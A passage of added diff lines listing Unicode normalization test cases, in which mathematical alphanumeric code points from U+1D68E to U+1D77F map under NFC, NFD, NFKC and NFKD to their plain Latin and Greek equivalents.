+{ source: [0x1D68E], NFC: [0x1D68E], NFD: [0x1D68E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D68F], NFC: [0x1D68F], NFD: [0x1D68F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D690], NFC: [0x1D690], NFD: [0x1D690], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D691], NFC: [0x1D691], NFD: [0x1D691], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D692], NFC: [0x1D692], NFD: [0x1D692], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D693], NFC: [0x1D693], NFD: [0x1D693], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D694], NFC: [0x1D694], NFD: [0x1D694], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D695], NFC: [0x1D695], NFD: [0x1D695], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D696], NFC: [0x1D696], NFD: [0x1D696], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D697], NFC: [0x1D697], NFD: [0x1D697], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D698], NFC: [0x1D698], NFD: [0x1D698], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D699], NFC: [0x1D699], NFD: [0x1D699], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D69A], NFC: [0x1D69A], NFD: [0x1D69A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D69B], NFC: [0x1D69B], NFD: [0x1D69B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D69C], NFC: [0x1D69C], NFD: [0x1D69C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D69D], NFC: [0x1D69D], NFD: [0x1D69D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D69E], NFC: [0x1D69E], NFD: [0x1D69E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D69F], NFC: [0x1D69F], NFD: [0x1D69F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D6A0], NFC: [0x1D6A0], NFD: [0x1D6A0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D6A1], NFC: [0x1D6A1], NFD: [0x1D6A1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D6A2], NFC: [0x1D6A2], NFD: [0x1D6A2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D6A3], NFC: [0x1D6A3], NFD: [0x1D6A3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D6A4], NFC: [0x1D6A4], NFD: [0x1D6A4], NFKC: [0x0131], NFKD: [0x0131] },
+{ source: [0x1D6A5], NFC: [0x1D6A5], NFD: [0x1D6A5], NFKC: [0x0237], NFKD: [0x0237] },
+{ source: [0x1D6A8], NFC: [0x1D6A8], NFD: [0x1D6A8], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6A9], NFC: [0x1D6A9], NFD: [0x1D6A9], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6AA], NFC: [0x1D6AA], NFD: [0x1D6AA], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6AB], NFC: [0x1D6AB], NFD: [0x1D6AB], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6AC], NFC: [0x1D6AC], NFD: [0x1D6AC], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6AD], NFC: [0x1D6AD], NFD: [0x1D6AD], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6AE], NFC: [0x1D6AE], NFD: [0x1D6AE], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6AF], NFC: [0x1D6AF], NFD: [0x1D6AF], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6B0], NFC: [0x1D6B0], NFD: [0x1D6B0], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6B1], NFC: [0x1D6B1], NFD: [0x1D6B1], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6B2], NFC: [0x1D6B2], NFD: [0x1D6B2], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6B3], NFC: [0x1D6B3], NFD: [0x1D6B3], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6B4], NFC: [0x1D6B4], NFD: [0x1D6B4], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6B5], NFC: [0x1D6B5], NFD: [0x1D6B5], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6B6], NFC: [0x1D6B6], NFD: [0x1D6B6], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6B7], NFC: [0x1D6B7], NFD: [0x1D6B7], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6B8], NFC: [0x1D6B8], NFD: [0x1D6B8], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6B9], NFC: [0x1D6B9], NFD: [0x1D6B9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6BA], NFC: [0x1D6BA], NFD: [0x1D6BA], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6BB], NFC: [0x1D6BB], NFD: [0x1D6BB], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6BC], NFC: [0x1D6BC], NFD: [0x1D6BC], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6BD], NFC: [0x1D6BD], NFD: [0x1D6BD], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6BE], NFC: [0x1D6BE], NFD: [0x1D6BE], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6BF], NFC: [0x1D6BF], NFD: [0x1D6BF], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6C0], NFC: [0x1D6C0], NFD: [0x1D6C0], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6C1], NFC: [0x1D6C1], NFD: [0x1D6C1], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6C2], NFC: [0x1D6C2], NFD: [0x1D6C2], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6C3], NFC: [0x1D6C3], NFD: [0x1D6C3], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6C4], NFC: [0x1D6C4], NFD: [0x1D6C4], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6C5], NFC: [0x1D6C5], NFD: [0x1D6C5], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D6C6], NFC: [0x1D6C6], NFD: [0x1D6C6], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6C7], NFC: [0x1D6C7], NFD: [0x1D6C7], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D6C8], NFC: [0x1D6C8], NFD: [0x1D6C8], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D6C9], NFC: [0x1D6C9], NFD: [0x1D6C9], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6CA], NFC: [0x1D6CA], NFD: [0x1D6CA], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D6CB], NFC: [0x1D6CB], NFD: [0x1D6CB], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6CC], NFC: [0x1D6CC], NFD: [0x1D6CC], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D6CD], NFC: [0x1D6CD], NFD: [0x1D6CD], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D6CE], NFC: [0x1D6CE], NFD: [0x1D6CE], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D6CF], NFC: [0x1D6CF], NFD: [0x1D6CF], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D6D0], NFC: [0x1D6D0], NFD: [0x1D6D0], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D6D1], NFC: [0x1D6D1], NFD: [0x1D6D1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6D2], NFC: [0x1D6D2], NFD: [0x1D6D2], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6D3], NFC: [0x1D6D3], NFD: [0x1D6D3], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D6D4], NFC: [0x1D6D4], NFD: [0x1D6D4], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D6D5], NFC: [0x1D6D5], NFD: [0x1D6D5], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D6D6], NFC: [0x1D6D6], NFD: [0x1D6D6], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D6D7], NFC: [0x1D6D7], NFD: [0x1D6D7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6D8], NFC: [0x1D6D8], NFD: [0x1D6D8], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D6D9], NFC: [0x1D6D9], NFD: [0x1D6D9], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D6DA], NFC: [0x1D6DA], NFD: [0x1D6DA], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D6DB], NFC: [0x1D6DB], NFD: [0x1D6DB], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D6DC], NFC: [0x1D6DC], NFD: [0x1D6DC], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6DD], NFC: [0x1D6DD], NFD: [0x1D6DD], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6DE], NFC: [0x1D6DE], NFD: [0x1D6DE], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6DF], NFC: [0x1D6DF], NFD: [0x1D6DF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6E0], NFC: [0x1D6E0], NFD: [0x1D6E0], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6E1], NFC: [0x1D6E1], NFD: [0x1D6E1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6E2], NFC: [0x1D6E2], NFD: [0x1D6E2], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6E3], NFC: [0x1D6E3], NFD: [0x1D6E3], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6E4], NFC: [0x1D6E4], NFD: [0x1D6E4], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6E5], NFC: [0x1D6E5], NFD: [0x1D6E5], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6E6], NFC: [0x1D6E6], NFD: [0x1D6E6], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6E7], NFC: [0x1D6E7], NFD: [0x1D6E7], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6E8], NFC: [0x1D6E8], NFD: [0x1D6E8], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6E9], NFC: [0x1D6E9], NFD: [0x1D6E9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6EA], NFC: [0x1D6EA], NFD: [0x1D6EA], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6EB], NFC: [0x1D6EB], NFD: [0x1D6EB], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6EC], NFC: [0x1D6EC], NFD: [0x1D6EC], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6ED], NFC: [0x1D6ED], NFD: [0x1D6ED], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6EE], NFC: [0x1D6EE], NFD: [0x1D6EE], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6EF], NFC: [0x1D6EF], NFD: [0x1D6EF], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6F0], NFC: [0x1D6F0], NFD: [0x1D6F0], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6F1], NFC: [0x1D6F1], NFD: [0x1D6F1], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6F2], NFC: [0x1D6F2], NFD: [0x1D6F2], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6F3], NFC: [0x1D6F3], NFD: [0x1D6F3], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6F4], NFC: [0x1D6F4], NFD: [0x1D6F4], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6F5], NFC: [0x1D6F5], NFD: [0x1D6F5], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6F6], NFC: [0x1D6F6], NFD: [0x1D6F6], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6F7], NFC: [0x1D6F7], NFD: [0x1D6F7], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6F8], NFC: [0x1D6F8], NFD: [0x1D6F8], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6F9], NFC: [0x1D6F9], NFD: [0x1D6F9], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6FA], NFC: [0x1D6FA], NFD: [0x1D6FA], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6FB], NFC: [0x1D6FB], NFD: [0x1D6FB], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6FC], NFC: [0x1D6FC], NFD: [0x1D6FC], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6FD], NFC: [0x1D6FD], NFD: [0x1D6FD], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6FE], NFC: [0x1D6FE], NFD: [0x1D6FE], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6FF], NFC: [0x1D6FF], NFD: [0x1D6FF], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D700], NFC: [0x1D700], NFD: [0x1D700], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D701], NFC: [0x1D701], NFD: [0x1D701], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D702], NFC: [0x1D702], NFD: [0x1D702], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D703], NFC: [0x1D703], NFD: [0x1D703], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D704], NFC: [0x1D704], NFD: [0x1D704], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D705], NFC: [0x1D705], NFD: [0x1D705], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D706], NFC: [0x1D706], NFD: [0x1D706], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D707], NFC: [0x1D707], NFD: [0x1D707], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D708], NFC: [0x1D708], NFD: [0x1D708], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D709], NFC: [0x1D709], NFD: [0x1D709], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D70A], NFC: [0x1D70A], NFD: [0x1D70A], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D70B], NFC: [0x1D70B], NFD: [0x1D70B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D70C], NFC: [0x1D70C], NFD: [0x1D70C], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D70D], NFC: [0x1D70D], NFD: [0x1D70D], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D70E], NFC: [0x1D70E], NFD: [0x1D70E], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D70F], NFC: [0x1D70F], NFD: [0x1D70F], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D710], NFC: [0x1D710], NFD: [0x1D710], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D711], NFC: [0x1D711], NFD: [0x1D711], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D712], NFC: [0x1D712], NFD: [0x1D712], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D713], NFC: [0x1D713], NFD: [0x1D713], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D714], NFC: [0x1D714], NFD: [0x1D714], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D715], NFC: [0x1D715], NFD: [0x1D715], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D716], NFC: [0x1D716], NFD: [0x1D716], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D717], NFC: [0x1D717], NFD: [0x1D717], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D718], NFC: [0x1D718], NFD: [0x1D718], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D719], NFC: [0x1D719], NFD: [0x1D719], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D71A], NFC: [0x1D71A], NFD: [0x1D71A], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D71B], NFC: [0x1D71B], NFD: [0x1D71B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D71C], NFC: [0x1D71C], NFD: [0x1D71C], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D71D], NFC: [0x1D71D], NFD: [0x1D71D], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D71E], NFC: [0x1D71E], NFD: [0x1D71E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D71F], NFC: [0x1D71F], NFD: [0x1D71F], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D720], NFC: [0x1D720], NFD: [0x1D720], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D721], NFC: [0x1D721], NFD: [0x1D721], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D722], NFC: [0x1D722], NFD: [0x1D722], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D723], NFC: [0x1D723], NFD: [0x1D723], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D724], NFC: [0x1D724], NFD: [0x1D724], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D725], NFC: [0x1D725], NFD: [0x1D725], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D726], NFC: [0x1D726], NFD: [0x1D726], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D727], NFC: [0x1D727], NFD: [0x1D727], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D728], NFC: [0x1D728], NFD: [0x1D728], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D729], NFC: [0x1D729], NFD: [0x1D729], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D72A], NFC: [0x1D72A], NFD: [0x1D72A], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D72B], NFC: [0x1D72B], NFD: [0x1D72B], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D72C], NFC: [0x1D72C], NFD: [0x1D72C], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D72D], NFC: [0x1D72D], NFD: [0x1D72D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D72E], NFC: [0x1D72E], NFD: [0x1D72E], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D72F], NFC: [0x1D72F], NFD: [0x1D72F], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D730], NFC: [0x1D730], NFD: [0x1D730], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D731], NFC: [0x1D731], NFD: [0x1D731], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D732], NFC: [0x1D732], NFD: [0x1D732], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D733], NFC: [0x1D733], NFD: [0x1D733], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D734], NFC: [0x1D734], NFD: [0x1D734], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D735], NFC: [0x1D735], NFD: [0x1D735], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D736], NFC: [0x1D736], NFD: [0x1D736], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D737], NFC: [0x1D737], NFD: [0x1D737], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D738], NFC: [0x1D738], NFD: [0x1D738], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D739], NFC: [0x1D739], NFD: [0x1D739], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D73A], NFC: [0x1D73A], NFD: [0x1D73A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D73B], NFC: [0x1D73B], NFD: [0x1D73B], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D73C], NFC: [0x1D73C], NFD: [0x1D73C], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D73D], NFC: [0x1D73D], NFD: [0x1D73D], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D73E], NFC: [0x1D73E], NFD: [0x1D73E], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D73F], NFC: [0x1D73F], NFD: [0x1D73F], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D740], NFC: [0x1D740], NFD: [0x1D740], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D741], NFC: [0x1D741], NFD: [0x1D741], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D742], NFC: [0x1D742], NFD: [0x1D742], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D743], NFC: [0x1D743], NFD: [0x1D743], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D744], NFC: [0x1D744], NFD: [0x1D744], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D745], NFC: [0x1D745], NFD: [0x1D745], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D746], NFC: [0x1D746], NFD: [0x1D746], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D747], NFC: [0x1D747], NFD: [0x1D747], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D748], NFC: [0x1D748], NFD: [0x1D748], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D749], NFC: [0x1D749], NFD: [0x1D749], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D74A], NFC: [0x1D74A], NFD: [0x1D74A], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D74B], NFC: [0x1D74B], NFD: [0x1D74B], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D74C], NFC: [0x1D74C], NFD: [0x1D74C], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D74D], NFC: [0x1D74D], NFD: [0x1D74D], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D74E], NFC: [0x1D74E], NFD: [0x1D74E], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D74F], NFC: [0x1D74F], NFD: [0x1D74F], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D750], NFC: [0x1D750], NFD: [0x1D750], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D751], NFC: [0x1D751], NFD: [0x1D751], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D752], NFC: [0x1D752], NFD: [0x1D752], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D753], NFC: [0x1D753], NFD: [0x1D753], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D754], NFC: [0x1D754], NFD: [0x1D754], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D755], NFC: [0x1D755], NFD: [0x1D755], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D756], NFC: [0x1D756], NFD: [0x1D756], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D757], NFC: [0x1D757], NFD: [0x1D757], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D758], NFC: [0x1D758], NFD: [0x1D758], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D759], NFC: [0x1D759], NFD: [0x1D759], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D75A], NFC: [0x1D75A], NFD: [0x1D75A], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D75B], NFC: [0x1D75B], NFD: [0x1D75B], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D75C], NFC: [0x1D75C], NFD: [0x1D75C], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D75D], NFC: [0x1D75D], NFD: [0x1D75D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D75E], NFC: [0x1D75E], NFD: [0x1D75E], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D75F], NFC: [0x1D75F], NFD: [0x1D75F], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D760], NFC: [0x1D760], NFD: [0x1D760], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D761], NFC: [0x1D761], NFD: [0x1D761], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D762], NFC: [0x1D762], NFD: [0x1D762], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D763], NFC: [0x1D763], NFD: [0x1D763], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D764], NFC: [0x1D764], NFD: [0x1D764], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D765], NFC: [0x1D765], NFD: [0x1D765], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D766], NFC: [0x1D766], NFD: [0x1D766], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D767], NFC: [0x1D767], NFD: [0x1D767], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D768], NFC: [0x1D768], NFD: [0x1D768], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D769], NFC: [0x1D769], NFD: [0x1D769], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D76A], NFC: [0x1D76A], NFD: [0x1D76A], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D76B], NFC: [0x1D76B], NFD: [0x1D76B], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D76C], NFC: [0x1D76C], NFD: [0x1D76C], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D76D], NFC: [0x1D76D], NFD: [0x1D76D], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D76E], NFC: [0x1D76E], NFD: [0x1D76E], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D76F], NFC: [0x1D76F], NFD: [0x1D76F], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D770], NFC: [0x1D770], NFD: [0x1D770], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D771], NFC: [0x1D771], NFD: [0x1D771], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D772], NFC: [0x1D772], NFD: [0x1D772], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D773], NFC: [0x1D773], NFD: [0x1D773], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D774], NFC: [0x1D774], NFD: [0x1D774], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D775], NFC: [0x1D775], NFD: [0x1D775], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D776], NFC: [0x1D776], NFD: [0x1D776], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D777], NFC: [0x1D777], NFD: [0x1D777], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D778], NFC: [0x1D778], NFD: [0x1D778], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D779], NFC: [0x1D779], NFD: [0x1D779], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D77A], NFC: [0x1D77A], NFD: [0x1D77A], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D77B], NFC: [0x1D77B], NFD: [0x1D77B], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D77C], NFC: [0x1D77C], NFD: [0x1D77C], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D77D], NFC: [0x1D77D], NFD: [0x1D77D], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D77E], NFC: [0x1D77E], NFD: [0x1D77E], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D77F], NFC: [0x1D77F], NFD: [0x1D77F], NFKC: [0x03C0], NFKD: [0x03C0] },
